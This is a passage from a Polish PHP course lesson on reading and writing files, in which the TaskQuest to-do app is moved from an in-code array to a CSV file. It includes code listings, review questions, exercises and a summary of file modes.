$procentPostepu = obliczProcentPostepu($xpWAktualnymPoziomie);
$brakujeXp = ileBrakujeXp($xp, $poziom);

//pasek postępu
$liczbaAktywnychSegmentow = (int) ($procentPostepu / 10);
$progNastepnegoPoziomu = $poziom * XP_NA_POZIOM;


// --- wywołania funkcji: lista zadań ---
$wykonaneZadania = pobierzWykonaneZadania($zadania);
$aktywneZadania = pobierzAktywneZadania($zadania);

$liczbaWszystkich = count($zadania);
$liczbaWykonanych = count($wykonaneZadania);
$liczbaAktywnych = count($aktywneZadania);

$xpDoZdobycia = sumujXp($aktywneZadania);

$zadaniaWgTerminu = sortujPoTerminie($zadania);
$aktywneWgTerminu = sortujPoTerminie($aktywneZadania);

// uproszczenie (symulacja): aktywność = wykonane jakiekolwiek zadanie z listy
$zadanieWykonane = $liczbaWykonanych &gt; 0;

$streak = aktualizujStreak($streak, $dataOstatniejAktywnosci, $zadanieWykonane);


// --- prezentacja ---
$nazwaStrony = 'TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;p&gt;Zdobywaj punkty za wykonane zadania!&lt;/p&gt;

        &lt;?php
        if (walidujLogin($login)) {
            echo "&lt;p&gt;Login poprawny: $login&lt;/p&gt;";
        } else {
            echo "&lt;p&gt;Login jest niepoprawny.&lt;/p&gt;";
        }
        ?&gt;

        &lt;h2&gt;Witaj, &lt;?= $imieUzytkownika; ?&gt;!&lt;/h2&gt;

        &lt;p&gt;Poziom: &lt;strong&gt;&lt;?= $poziom; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Tytuł: &lt;strong&gt;&lt;?= $tytul; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Łączne XP: &lt;strong&gt;&lt;?= $xp; ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h3&gt;
            &lt;?= "Masz $xpWAktualnymPoziomie XP z " . XP_NA_POZIOM . " XP potrzebnych do poziomu " . ($poziom + 1) . " (" . round($procentPostepu, 2) . "%)"; ?&gt;
        &lt;/h3&gt;

        &lt;div class="pasek-xp"&gt;
            &lt;?php
            for ($segment = 1; $segment &lt;= 10; $segment++) {
                if ($segment &lt;= $liczbaAktywnychSegmentow) {
                    echo "█";
                } else {
                    echo "░";
                }
            }
            ?&gt;
        &lt;/div&gt;

        &lt;p&gt;Kolejny próg: &lt;?= $progNastepnegoPoziomu; ?&gt; XP&lt;/p&gt;
        &lt;p&gt;Brakuje XP: &lt;strong&gt;&lt;?= $brakujeXp; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Streak: &lt;strong&gt;&lt;?= $streak ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h2&gt;Twoje zadania&lt;/h2&gt;

        &lt;p&gt;
            Wszystkie: &lt;strong&gt;&lt;?= $liczbaWszystkich; ?&gt;&lt;/strong&gt; |
            Wykonane: &lt;strong&gt;&lt;?= $liczbaWykonanych; ?&gt;&lt;/strong&gt; |
            Aktywne: &lt;strong&gt;&lt;?= $liczbaAktywnych; ?&gt;&lt;/strong&gt;
        &lt;/p&gt;
        &lt;p&gt;XP do zdobycia z aktywnych zadań: &lt;strong&gt;&lt;?= $xpDoZdobycia; ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;?php
        if ($liczbaWszystkich === 0) {
            echo "&lt;p&gt;Brak zadań.&lt;/p&gt;";
        } elseif ($liczbaAktywnych === 0) {
            echo "&lt;p&gt;Wszystkie zadania wykonane — świetna robota!&lt;/p&gt;";
        } else {
            if ($xpDoZdobycia &gt;= $brakujeXp) {
                echo "&lt;p class=\"awans\"&gt;Wykonując aktywne zadania, awansujesz na poziom " . ($poziom + 1) . "!&lt;/p&gt;";
            } else {
                echo "&lt;p&gt;Aktywne zadania nie wystarczą jeszcze na awans — brakuje " . ($brakujeXp - $xpDoZdobycia) . " XP.&lt;/p&gt;";
            }

            $najpilniejsze = $aktywneWgTerminu&#91;0];
            echo "&lt;p&gt;Najpilniejsze zadanie: &lt;strong&gt;" . wyczyscTytul($najpilniejsze&#91;'tytul']) . "&lt;/strong&gt; — "
                . komunikatTerminu($najpilniejsze&#91;'termin']) . "&lt;/p&gt;";
        }

        echo "&lt;h3&gt;Lista zadań (wg terminu)&lt;/h3&gt;";

        foreach ($zadaniaWgTerminu as $zadanie) {
            $tytulCzysty = wyczyscTytul($zadanie&#91;'tytul']);
            $znacznik = $zadanie&#91;'wykonane'] ? "&#91;X]" : "&#91; ]";
            $klasa = $zadanie&#91;'wykonane'] ? "zadanie wykonane" : "zadanie";

            echo "&lt;div class=\"$klasa\"&gt;";
            echo "&lt;p&gt;&lt;strong&gt;$znacznik $tytulCzysty&lt;/strong&gt; — {$zadanie&#91;'xp']} XP&lt;/p&gt;";
            echo "&lt;p&gt;" . skrocOpis($zadanie&#91;'opis'], 50) . "&lt;/p&gt;";
            echo "&lt;p&gt;Termin: {$zadanie&#91;'termin']}";

            if (!$zadanie&#91;'wykonane']) {
                echo " — " . komunikatTerminu($zadanie&#91;'termin']);
            }

            echo "&lt;/p&gt;";

            if (stripos($tytulCzysty, 'PHP') !== false) {
                echo "&lt;p&gt;To zadanie dotyczy PHP.&lt;/p&gt;";
            }

            echo "&lt;/div&gt;";
        }
        ?&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.1&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/includes/funkcje_diagnostyczne.php';

$wymaganePliki = &#91;
    'index.php',
    'config/config.php',
    'includes/header.php',
    'includes/footer.php',
    'includes/funkcje_grywalizacji.php',
    'includes/funkcje_tekstowe.php',
    'includes/funkcje_terminow.php',
    'includes/funkcje_zadan.php',
    'includes/funkcje_diagnostyczne.php',
    'includes/funkcje_plikow.php',
    'data/zadania.csv'
];

$katalogiDoPrzegladu = &#91;'config', 'includes'];

$nazwaStrony = 'TaskQuest — diagnostyka';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;h2&gt;Diagnostyka projektu&lt;/h2&gt;

        &lt;h3&gt;Wymagane pliki&lt;/h3&gt;
        &lt;?php
        foreach ($wymaganePliki as $plik) {
            $znacznik = czyPlikIstnieje($plik) ? "&#91;OK]" : "&#91;BRAK]";
            echo "&lt;p&gt;$znacznik $plik&lt;/p&gt;";
        }
        ?&gt;

        &lt;h3&gt;Zawartość katalogów (pliki .php)&lt;/h3&gt;
        &lt;?php
        foreach ($katalogiDoPrzegladu as $katalog) {
            $pliki = listaPlikowWKatalogu($katalog);

            echo "&lt;p&gt;&lt;strong&gt;$katalog/&lt;/strong&gt; — " . count($pliki) . " plik(ów)&lt;/p&gt;";

            foreach ($pliki as $plik) {
                echo "&lt;p&gt;&amp;nbsp;&amp;nbsp;$plik&lt;/p&gt;";
            }
        }
        ?&gt;

        &lt;h3&gt;Pliki danych (.csv w data/)&lt;/h3&gt;
        &lt;?php
        $plikiCsv = listaPlikowWKatalogu('data', 'csv');

        echo "&lt;p&gt;&lt;strong&gt;data/&lt;/strong&gt; — " . count($plikiCsv) . " plik(ów)&lt;/p&gt;";

        foreach ($plikiCsv as $plik) {
            echo "&lt;p&gt;&amp;nbsp;&amp;nbsp;$plik&lt;/p&gt;";
        }
        ?&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">migracja.php</code> (tylko do jednorazowego użycia, potem usuń)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Jednorazowe narzędzie programisty: przepisuje zadania z data/zadania.php do data/zadania.csv

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/data/zadania.php';   // tu jeszcze jest tablica $zadania

if (is_file(PLIK_ZADAN)) {
    echo "&lt;p&gt;Plik zadania.csv już istnieje — nie nadpisuję go.&lt;/p&gt;";
} elseif (zapiszZadania(PLIK_ZADAN, $zadania)) {
    echo "&lt;p&gt;Zapisano " . count($zadania) . " zadań do pliku zadania.csv.&lt;/p&gt;";
} else {
    echo "&lt;p&gt;Nie udało się zapisać pliku.&lt;/p&gt;";
}</code></pre>
</details>



<h1 class="wp-block-heading">11. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika, $login
$xp, $poziom, $tytul, $xpWAktualnymPoziomie, $procentPostepu, $brakujeXp,
$liczbaAktywnychSegmentow, $progNastepnegoPoziomu
$streak, $dataOstatniejAktywnosci, $zadanieWykonane
$zadania, $wykonaneZadania, $aktywneZadania, $liczbaWszystkich, $liczbaWykonanych,
$liczbaAktywnych, $zadaniaWgTerminu, $aktywneWgTerminu, $xpDoZdobycia
$nazwaStrony
define('XP_NA_POZIOM', 100)

wszystkie 16 funkcji z poprzednich lekcji (kod bez zmian)
struktura tablicy $zadania (klucze: id, tytul, opis, termin, wykonane, xp)</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">define('PLIK_ZADAN', ...)                 // config/config.php

wczytajZadania(), zapiszZadania()          // includes/funkcje_plikow.php

nowe pliki: includes/funkcje_plikow.php, data/zadania.csv
            (migracja.php — użyty raz i usunięty)</code></pre>



<p class="wp-block-paragraph">Nowe narzędzia PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgets()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fwrite()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fputcsv()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_readable()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">unlink()</code>, tryby <code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_get_contents()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">file()</code>, rzutowanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code> przy odczycie.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><strong>źródło zadań</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> nie pochodzi już z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code>, tylko z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania(PLIK_ZADAN)</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: jedna linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> zamieniona na inną, plus nowy blok „dane zadań (z pliku CSV)”,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: lista wymaganych plików (11), sekcja plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">.csv</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'data'</code> zniknęło z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$katalogiDoPrzegladu</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.1</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code> — dane przeniesione do CSV; plik był od początku oznaczony jako tymczasowy,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">migracja.php</code> — jednorazowe narzędzie, którego zadanie jest wykonane (i które przy ponownym użyciu mogłoby nadpisać dane).</li>
</ul>



<p class="wp-block-paragraph">Żadna zmienna ani funkcja z Lekcji 10 nie została usunięta.</p>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 11 zadania TaskQuest nie są już częścią kodu: leżą w pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, który można edytować w edytorze tekstu bez dotykania PHP, a aplikacja odczytuje go przy każdym uruchomieniu i zamienia z powrotem na tablicę <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> o właściwych typach. TaskQuest potrafi też taką listę zapisać do pliku i nie wywraca się na pustej linii w pliku. Na razie nie ma jeszcze formularza — zapis wywołujemy z kodu.</p>
</blockquote>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Wiem, co robią tryby r, w i a — i który z nich kasuje zawartość pliku.
&#91; ] Każde otwarcie pliku kończę fclose() i sprawdzam wynik fopen() (=== false).
&#91; ] Wiem, dlaczego czytam linie przez while (($linia = fgets(...)) !== false).
&#91; ] Potrafię zapisać i odczytać wiersz CSV (fputcsv, fgetcsv) z separatorem ;.
&#91; ] Wiem, że z pliku wraca tekst, i potrafię odtworzyć int oraz bool.
&#91; ] Mam includes/funkcje_plikow.php z wczytajZadania() i zapiszZadania().
&#91; ] PLIK_ZADAN jest zdefiniowany w config/config.php.
&#91; ] data/zadania.csv ma nagłówek i 5 zadań; index.php odczytuje je z pliku.
&#91; ] wczytajZadania() pomija puste linie i wiersze o złej liczbie pól.
&#91; ] Test 1 (=== po zapisie i odczycie) daje bool(true).
&#91; ] Strona główna wygląda jak po Lekcji 10 (jedyna różnica: TaskQuest 1.1).
&#91; ] diagnostyka.php pokazuje 11 razy &#91;OK].
&#91; ] Usunęłam/usunąłem migracja.php, data/zadania.php i pliki brudnopisu.
&#91; ] Przeprowadziłam/przeprowadziłem eksperymenty i przywróciłam/przywróciłem kod.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<ol class="wp-block-list">
<li>Wymień trzy kroki pracy z plikiem. Co może pójść nie tak przy pierwszym z nich i jak sprawdzasz, czy poszło dobrze?</li>



<li>Plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">dziennik.txt</code> ma trzy linie. Co w nim zostanie, jeśli otworzysz go w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code> i od razu zamkniesz (bez żadnego zapisu), a co, jeśli otworzysz go w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code> i od razu zamkniesz?</li>



<li>Dlaczego pętla odczytu ma postać <code class="prettyprint lang-sql" style="font-size: 0.85em;">while (($linia = fgets($uchwyt)) !== false)</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">while ($linia = fgets($uchwyt))</code>? Podaj przykład zawartości pliku, przy której druga wersja zawiedzie.</li>



<li>Linia pliku: <code class="prettyprint lang-sql" style="font-size: 0.85em;">3;"Ćwiczenia; DateTime";"Opis";2026-09-18;0;10</code>. Ile pól zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code>? Ile zwróciłaby, gdyby w pliku nie było cudzysłowów?</li>



<li>Po odczycie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[4]</code> ma wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">"0"</code>. Jakiego jest typu? Co da <code class="prettyprint lang-sql" style="font-size: 0.85em;">(bool) $wiersz[4]</code>, a co <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[4] === '1'</code>? Co dałoby <code class="prettyprint lang-sql" style="font-size: 0.85em;">(bool)</code> dla wpisu <code class="prettyprint lang-sql" style="font-size: 0.85em;">nie</code>?</li>



<li>Po co przed pętlą w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> jest samotne wywołanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code>? Co stałoby się z aplikacją bez niego? (Wskazówka: co trafiłoby do <code class="prettyprint lang-sql" style="font-size: 0.85em;">'termin'</code> pierwszego „zadania” i która funkcja by na tym poległa?)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> otwiera plik w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>. Co się stanie z danymi, jeśli skrypt przerwie działanie w połowie zapisu? Jakiego problemu nie mielibyśmy przy dopisywaniu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code>), a jakiego byśmy się dorobili?</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code> zarówno wtedy, gdy plik jest pusty, jak i wtedy, gdy plik nie istnieje. Dlaczego to niedobre dla użytkownika? Jak — bez wyjątków, których jeszcze nie znamy — mogłaby wyglądać funkcja, która odróżnia te dwa przypadki?</li>



<li>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">migracja.php</code> sprawdza <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_file(PLIK_ZADAN)</code> przed zapisem? Opisz sytuację, w której brak tego sprawdzenia kosztowałby Kamę dane.</li>



<li>Dlaczego funkcje z Lekcji 9 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktywneZadania()</code>…) nie wymagały żadnej zmiany, mimo że dane pochodzą teraz z pliku? Co to mówi o dobrym podziale kodu na funkcje?</li>
</ol>



<h1 class="wp-block-heading">Zadanie końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Wybierz <strong>jedno</strong> (albo oba):</p>



<p class="wp-block-paragraph"><strong>A) Kopia zapasowa zadań.</strong> Napisz funkcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">zrobKopieZadan(string $sciezka): bool</code> (w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>), która skopiuje plik zadań do <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania_RRRR-MM-DD.csv</code> z dzisiejszą datą w nazwie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime('today')</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">format('Y-m-d')</code> znasz z lekcji o datach). Do kopiowania użyj funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">copy($zrodlo, $cel)</code> — zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. Wywołaj ją z osobnego skryptu <code class="prettyprint lang-sql" style="font-size: 0.85em;">kopia.php</code> i wypisz komunikat o wyniku. Dopisz plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">kopia.php</code> do listy w diagnostyce <strong>tylko wtedy</strong>, gdy uznasz go za stałą część projektu.</p>



<p class="wp-block-paragraph"><strong>B) Dziennik uruchomień.</strong> Przy każdym wejściu na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> dopisuj linię do pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/taskquest.log</code> w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-09-21 10:15:03 — wczytano 5 zadań</code>. Katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/</code> utwórz przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">mkdir()</code> (najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_dir()</code>, tak jak w zadaniu B z Lekcji 10), a dopisywanie zrób przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents()</code> z flagą <code class="prettyprint lang-sql" style="font-size: 0.85em;">FILE_APPEND</code>. Przemyśl, po której linii w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> dopisanie ma sens (co ma już wtedy być policzone?).</p>



<p class="wp-block-paragraph">Nie potrzebujesz niczego, czego nie poznałaś/poznałeś do tej pory.</p>



<h1 class="wp-block-heading">Most do Lekcji 12</h1>



<p class="wp-block-paragraph">TaskQuest czyta zadania z pliku — ale co, jeśli coś pójdzie nie tak?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv nie istnieje       →  "Brak zadań."   (prawda?)
plik ma zły format                  →  "Brak zadań."   (prawda?)
plik jest uszkodzony w środku       →  uszkodzone wiersze znikają po cichu
zapiszZadania() nie może otworzyć   →  zwraca false, ale nikt tego nie sprawdza</code></pre>



<p class="wp-block-paragraph">Nasze funkcje potrafią tylko „zwrócić pustą tablicę i mieć nadzieję”. Użytkownik nie dowiaduje się, że to <strong>awaria</strong>, a nie brak zadań.</p>



<p class="wp-block-paragraph">Następny problem:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Jak sprawić, żeby TaskQuest <strong>zauważył</strong> problem, <strong>przerwał</strong> to, co robi, i <strong>zareagował</strong> — zamiast udawać, że wszystko jest w porządku?</p>
</blockquote>



<p class="wp-block-paragraph">To temat Lekcji 12: wyjątki (<code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code>).</p>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h1 class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h1 id="dodatek" class="wp-block-heading">W skrócie</h1>



<p class="wp-block-paragraph"><strong>Praca z plikiem to zawsze trzy kroki:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> → odczyt/zapis → <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> zwraca <strong>uchwyt</strong> (albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>) i wszystkie pozostałe funkcje dostają ten uchwyt, a nie nazwę pliku.</p>



<p class="wp-block-paragraph"><strong>Tryb otwarcia decyduje o wszystkim.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code> – tylko odczyt, plik musi istnieć. <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code> – <strong>kasuje zawartość w momencie otwarcia</strong>, nawet jeśli nic nie zapiszesz. <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code> – dopisuje na końcu, zawartość zostaje. Oba (<code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code>) tworzą plik, jeśli go nie ma. <code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code> na nieistniejącym pliku daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>.</p>



<p class="wp-block-paragraph"><strong>Każda operacja na pliku może się nie udać.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (brak pliku, brak uprawnień, zła ścieżka). Dlatego: <strong>przed</strong> otwarciem <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_file()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_readable()</code>, <strong>po</strong> otwarciu <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($uchwyt === false)</code>. Wywołanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgets()</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> to już błąd krytyczny.</p>



<p class="wp-block-paragraph"><strong>Pętla odczytu ma postać <code class="prettyprint lang-sql" style="font-size: 0.85em;">while (($linia = fgets($uchwyt)) !== false)</code>.</strong> Samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">while ($linia = fgets(...))</code> zatrzyma się na linii o treści <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> lub pustej — <code class="prettyprint lang-sql" style="font-size: 0.85em;">"0"</code> jest w PHP traktowane jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgets()</code> zostawia na końcu <code class="prettyprint lang-sql" style="font-size: 0.85em;">\n</code>, więc zwykle potrzebny jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code>.</p>



<p class="wp-block-paragraph"><strong>Z pliku wraca wyłącznie tekst.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">"250"</code> to nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">250</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">"1"</code> to nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>. Typy trzeba odtworzyć ręcznie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) $wiersz[0]</code> dla liczb, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[4] === '1'</code> dla wartości logicznych. <code class="prettyprint lang-sql" style="font-size: 0.85em;">(bool)</code> się <strong>nie nadaje</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">(bool) "nie"</code> daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, bo każdy niepusty tekst poza <code class="prettyprint lang-sql" style="font-size: 0.85em;">"0"</code> jest prawdą.</p>



<p class="wp-block-paragraph"><strong>CSV to zwykły tekst z separatorem.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">fputcsv()</code> sam otacza cudzysłowami pola zawierające spacje, separator lub cudzysłów, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> je z powrotem rozbiera — dlatego tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ćwiczenia; DateTime</code> nie rozpadnie się na dwa pola. W TaskQuest separatorem jest średnik, więc <strong>komplet parametrów <code class="prettyprint lang-sql" style="font-size: 0.85em;">';', '"', ''</code> podajemy przy każdym wywołaniu</strong> (bez trzech ostatnich argumentów PHP 8.4 zgłasza <code class="prettyprint lang-sql" style="font-size: 0.85em;">Deprecated</code>, a domyślnym separatorem jest przecinek, nie średnik).</p>



<p class="wp-block-paragraph"><strong>Skróty są dla prostych przypadków.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_get_contents()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">file()</code> robią całą robotę jedną linią (otwarcie, operacja, zamknięcie). Bez flagi <code class="prettyprint lang-sql" style="font-size: 0.85em;">FILE_APPEND</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents()</code> <strong>nadpisuje</strong> plik. Gdy dane trzeba czytać linia po linii i rozbierać na pola — wygodniejszy jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code>.</p>



<p class="wp-block-paragraph"><strong>Źródła błędów, które kosztują dane:</strong> tryb <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code> na jedynej kopii ważnego pliku, <code class="prettyprint lang-sql" style="font-size: 0.85em;">copy()</code> na istniejący plik docelowy (nadpisuje), <code class="prettyprint lang-sql" style="font-size: 0.85em;">unlink()</code> (usuwa trwale, bez kosza), edycja pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">.csv</code> w Excelu (zmienia format dat, separator i kodowanie), ścieżka względna zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">__DIR__</code>, zapomniane <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Co trzeba umieć na INF.03?</h2>



<ul class="wp-block-list">
<li><strong>napisać</strong> kompletny zapis do pliku i odczyt z pliku w schemacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">fwrite()</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgets()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>,</li>



<li><strong>znać skutki trybów</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code> i umieć wskazać, który z nich kasuje dane,</li>



